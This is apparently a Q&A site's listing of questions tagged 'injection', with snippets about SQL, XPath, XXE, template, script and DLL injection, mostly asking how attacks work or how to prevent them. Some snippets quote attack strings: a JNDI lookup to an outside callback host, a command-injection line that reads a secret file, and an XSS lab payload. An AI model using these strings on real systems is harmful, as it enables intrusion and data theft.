Questions tagged [injection]
inserting malicious content, usually code (like SQL, Javascript) into a vulnerable application. Is used only if there is no more specific injection tag available (see tag wiki)
422
questions
0
votes
0
answers
20
views
How to restore health of an hacked router(fritzbox)?
My fritz!box 5530 has been hacked.
I know this because the upload is always very low under 10 mb/s also if my fiber connection would to be 1gb/s|300mb/s.
And when you try router reset to factory ...
0
votes
0
answers
6
views
Is it possible to detect Stealthy False Data Injection attack through chaotic cryptography? [migrated]
I am doing a research on detecting Stealthy False Data Injection (SFDI) attacks in a smart grid context (a related paper). Besides I am working on a chaotic cryptography (e.g. with Lorenz attraction) ...
- 101
-1
votes
1
answer
64
views
Explain `${jndi:ldap://...}` spam(s)? [duplicate]
Some spammers keep filling each and every form-field with below:
${jndi:ldap://123.tgnndi.dnslog.cn/e}
Maybe the $ part is supposed to trigger JQuery.
What is this, is it a try to attack?
If so, is ...
- 103
0
votes
0
answers
31
views
OriginalFirstThunk in memory
I understand the point of IAT/IDT/ INT and dynamically loaded DLLs at runtime. The OriginalFirstThunk in the Import Directory table refers to the function names stored (in the case of an ordinal) in ...
1
vote
0
answers
91
views
IAT/IDT in memory PE file
Can anyone please explain me this:
First, we look at the last value of the Optional Header, Data
Directories, the Import Directory RVA value. This value gives us the
address of the Import table when ...
0
votes
1
answer
356
views
How to do character escaping in PostgreSQL to prevent a SQL injection attack?
I want to prevent SQL injection attacks in a rather abstract application. Therefore I want to escape all user provided input as described here. The other options provided on this page don't fit in my ...
- 113
2
votes
1
answer
322
views
How does the AV inject their own DLL in each new process?
I know that most of the AV are injecting their own DLL in order to do userland API filtering, in functions such as WriteProcessMemory or CreateRemoteThread.
But how can they do that? Because from what ...
- 171
1
vote
1
answer
49
views
Validation of input in REST endpoint to prevent script injection?
We have a web service to provide dicom modality worklist operations. We have a security concern about sanitizing the user inputs (especially for attributes like Study Description, Requested Procedure ...
- 113
0
votes
0
answers
35
views
Is VBScript RegExp object exploitable with a code injection or does it escape special characters?
The VBScript's RegExp object used in Classic ASP allows one to set a pattern then execute it. If a user provides the search string, is it exploitable for IDS08-J / CWE-625 (Permissive Regex)? Or ...
- 188
1
vote
0
answers
640
views
How can you perform OS Command Injection when single-quotes are filtered?
While attempting OS Command Injection on a url.com/?ping= parameter, I see that all single quotes ' are being escaped and replaced by \\'.
This is problematic because whenever you submit a value to ?...
- 11
1
vote
2
answers
416
views
How easy is it to inject malware into websites?
Please let me present you with a hypothetical scenario. A journalist is targeted by hackers. Said journalist is very careful with email attachments and will not click on them. However, surfing the web ...
- 11
0
votes
0
answers
65
views
xpath injection and doc() function
I'm trying to understand how to use the doc() function of xpath in several ways to carry out xpath injections
Lab's query:
String xquery = "/root/books/book[contains(title/text(), '" + ...
- 11
1
vote
0
answers
48
views
XPath injection remediations?
During a pentest we identified some indications of XPath injection, meaning we were able manipulate the HTTP request parameters with single quotes and logic (i.e. appending and 2=2) to derive various ...
- 253
2
votes
1
answer
108
views
Can an average user protect himself against process injection at some level?
I downloaded a program called Process Monitor from Microsoft Store.
I see suspicious IP addresses popping up among my cod.exe processes.
Moreover, these suspicious IP addresses are communicating ...
- 39
1
vote
2
answers
1k
views
Security Implications from Base64 Image
I copy / pasted a data:image/png;Base64 image from a Google search into a Google Slide, before realizing it was a BASE64 image. Is there any possibility that this contains malicious code, or any way ...
0
votes
1
answer
74
views
How secure is using https://*.domain.com as a value in a Content Security Policy?
Let's say I am an organization with all my resources on example.com. I have a web server in the DMZ that hosts a website named app.example.com open to the internet.
The CSP for that website is Content-...
- 1
0
votes
0
answers
30
views
Could a no code module injected to memory phenomenon in the process tree of the steam.exe file be suspicious?
I found a page, which analyzing memory processes (https://analyze.intezer.com/)
After the searches, it didn't find anything harmful, but in the detailed analysis I found a module without code, which ...
user279909
0
votes
1
answer
91
views
Why can I not sql inject this piece of code? [duplicate]
This is the code:
$stmt = $db->prepare("SELECT DISTINCT * FROM kurssit WHERE BINARY id=? AND BINARY avain=?");
$stmt->bind_param("is", $kurssi, $avain);
// prepare and bind
$...
1
vote
1
answer
95
views
Why would you use the command `test` in a php shell injection?
I saw someone doing this in a php shell injection:
test | cat /var/backup/secret.txt
Why are they using test |? How is that not useless here?
2
votes
0
answers
247
views
What does OWASP mean by max incidence and average incidence rate?
Can someone please explain what is meant by the following analysis provided in the overview section of the OWASP Top 10 A03:2021 – Injection page:
Injection slides down to the third position. 94% of ...
- 7,789
0
votes
1
answer
177
views
Can malware override and execute any memory location or it has to be specific?
Rather primitive Malware using Python3 and similar already available software on the victim's machine (which can also be compiled using PyInstaller/pycom if not) has the capability to override the ...
- 1,552
0
votes
1
answer
172
views
Server Side Template Injection (SSTI): Difference between plaintext context and code context?
I am learning pentesting, currently studying Server Side Template Injection. I understood there are two types of SSTI - plaintext context and code context - but struggle to understand what exactly is ...
- 125
0
votes
1
answer
75
views
Ways to inject malicious content during a HTTP file transfer
Assume an Apache server (http, no authentication just hosting static files) is running in my local network which is hosting some zip files. Assume User A is requesting a zip file from the Apache ...
0
votes
2
answers
307
views
Running PHP commands on my website from a form input
I today found some files created and deleted and edited on my website. I don't know how it is done. But I know it can be done by some PHP Functions like :
mkdir('Folder'); file_put_contents();scandir()...
2
votes
2
answers
209
views
Is a user query containing the string "\u0600\u0000bՕR" suspicious/malicious?
Recently, one of my services received a query where the JSON payload contained the string <an-arabic-character>\u0000bՕR. The service handled it gracefully so no real harm was done, but am I ...
- 131
0
votes
1
answer
142
views
How does this PortSwigger lab's XSS work?
I was doing the following PortSwigger Lab on cross site scripting (XSS).
The following payload works perfectly.
http://foo?'-alert(1)-'
Which is input into the following section of ...
- 181
0
votes
1
answer
130
views
Why are MySQL injections more limited than MS-SQL attacks?
I was watching the DEFCON 17: Advanced SQL Injection video here.
At 15:00, when discussing the various classes and types of SQL injection attackS, the speaker stated
With MySQL you really only have ...
- 181
1
vote
1
answer
4k
views
sqlmap is encountering 403 forbidden
I am trying to complete an SQL injection CTF here.
I confirmed just adding a single ' mark at the end of the URL caused a MySQL syntax error, and following this tutorial, I could complete this ...
- 181
0
votes
2
answers
119
views
What are the vulnerabilities of exposing url end point param?
I have a wordpress plugin that helps create an organization chart/tree and then generates a URL where the chart is available to be viewed by the public?
Inside the plugin's view in WordPress dashboard....
1
vote
2
answers
135
views
Is possible XXE with XSI modify?
I wonder, is possible XXE attack in this case?
The data of request is starting with:
<InteractionMessage><Header><SenderApplication>VIP3.0</SenderApplication><...
- 11
0
votes
0
answers
103
views
Is it possible to inject code using physical memory access to jailbreak phones?
Is it possible to inject code into RAM using physical access? For example desolder the RAM chips, solder something between the original RAM chip and the phone motherboard, and use that to directly ...
1
vote
1
answer
505
views
How to track which php file executed a malware binary
I have a server that seems to be compromised checking the processes running I see an executable that seems to be a mining malware and the hacker uses it to mine litecoin at the address ...
- 111
0
votes
1
answer
110
views
Detect http traffic injection
Is there any way to detect injection into unencrypted http traffic, like files, js etc.
just by traffic analysis
from the client-side?
0
votes
1
answer
347
views
Is character restriction ever a safe mechanism against code injection / better than input sanitisation?
Many services still restrict the special characters allowed in passwords and similar with the argument that it prevents injection attacks. Now, there are many good arguments against this such as ...
- 103
6
votes
2
answers
500
views
Do antivirus programs increase your attack surface and potentially give more power to malware?
When I was a student one of my professors used to say that an antivirus actually increases your attack surface by injecting itself into system processes and let's say opening more doors for ...
- 1,552
0
votes
1
answer
132
views
Would it be useful from a security perspective to harden an interpreter like Python or NodeJS by removing support for unused features?
When hardening a system you want to remove any features that you do not need. I have been thinking about this concept from the perspective of interpreters like Python, NodeJS, PHP etc. and am ...
- 3
0
votes
2
answers
615
views
What is the maximum payload injection size
I have been conducting some minor research into the various forms of exploitation, such as buffer overflows and similar.
Most tutorials seem to focus on executing shellcode, that is code which ...
- 181
0
votes
1
answer
1k
views
How does Chrome 78+ block all methods of DLL injection?
How does Chrome block all methods of code injection past version 78? It even blocks signed DLLs it doesn't have in a static list.
- 11
-1
votes
5
answers
7k
views
Is 'Internal Server Error' always a sign that there's a SQL Injection vulnerability in a site?
If so, is trying to exploit through a time-based injection enough to prove there's a vulnerability in said site?
- 25
1
vote
2
answers
448
views
Weird entry in SQL Server database, is this a result of SQL Injection?
I stumbled upon a case where several database entries were updated. And the update is rather unusual.
For example if I have an entry named:
Watermelon
The updated version is:
Watermelon<IMG SRC=&...
- 23
0
votes
1
answer
1k
views
Javascript injection bettercap2 over HTTPS
I use bettercap2 http proxy and arp spoof to inject one-line js alert into http pages. It works fine, however what about https? I couldn’t find any working method to inject it without the browser’s ...
3
votes
0
answers
198
views
Process Injection and Process Isolation by OS
If the OS is responsible for ensuring that one process cannot access another process memory space, and the point of process isolation is to keep processes separate from one another, then how can a ...
- 31
0
votes
0
answers
191
views
Injection inside double quoted section of script element
For a test to find vulnerabilities I found the following code in a page and I am looking for ways to manipulate it:
<script>
func({
"key1": "value",
"...
- 1
0
votes
0
answers
115
views
Allowing users to add arbitrary JavaScript in published articles
It would be nice if sites like Medium or Substack allowed users to not only add text, images, code snippets, etc., but also custom scripts that allowed readers to run a little piece of code. For ...
- 101
8
votes
3
answers
7k
views
Does blocking keywords prevent code injection inside this interactive Python file?
We recently had issues with people messing around inside our system. To prevent code injections within my python code, I implemented the following if block:
#! /usr/bin/python3
#-*- coding:utf-8 -*-
...
- 145
1
vote
1
answer
847
views
Blind XXE - Exfiltration Data via OOB
My lab
Kali Linux:192.168.171.134
bWApp Server: http://192.168.171.131
I want to do an exfiltration data via HTTP on this Blind XXE.
I'll use the Portswigger Payload.
This is the External.DTD:
&...
- 21
1
vote
2
answers
836
views
Are positional parameters vulnerable to command injection?
I am trying to find if the following shell script is vulnerable to command injection
#!/bin/sh
set -x
dig +noall +answer TXT $2._domainkey.$1
Now when I try something like this,
sh script.sh "...
- 173
1
vote
0
answers
101
views
Implications of Python fmtstr injection without secrets passed to the formatter
There are two ways I can think of to format strings in Python where user input may make its way into the format string input:
>>> a = input()
>>> print(a % ())
>>> a = ...
- 278
8
votes
1
answer
322
views
Is this Windows local code execution bug also a security vulnerability?
I stumbled on a Windows bug leading to code execution. I believe it should be categorized as a vulnerability but Microsoft does not recognize it as such. I would like to read other opinions.
...
- 1,107
1
vote
1
answer
95
views
CLI application running user defined command periodically [closed]
For a toy CLI application I'm writing, I'd like to store a string with an user defined command that will be executed periodically (like shell -c <command_string>).
I have seen other applications ...
- 113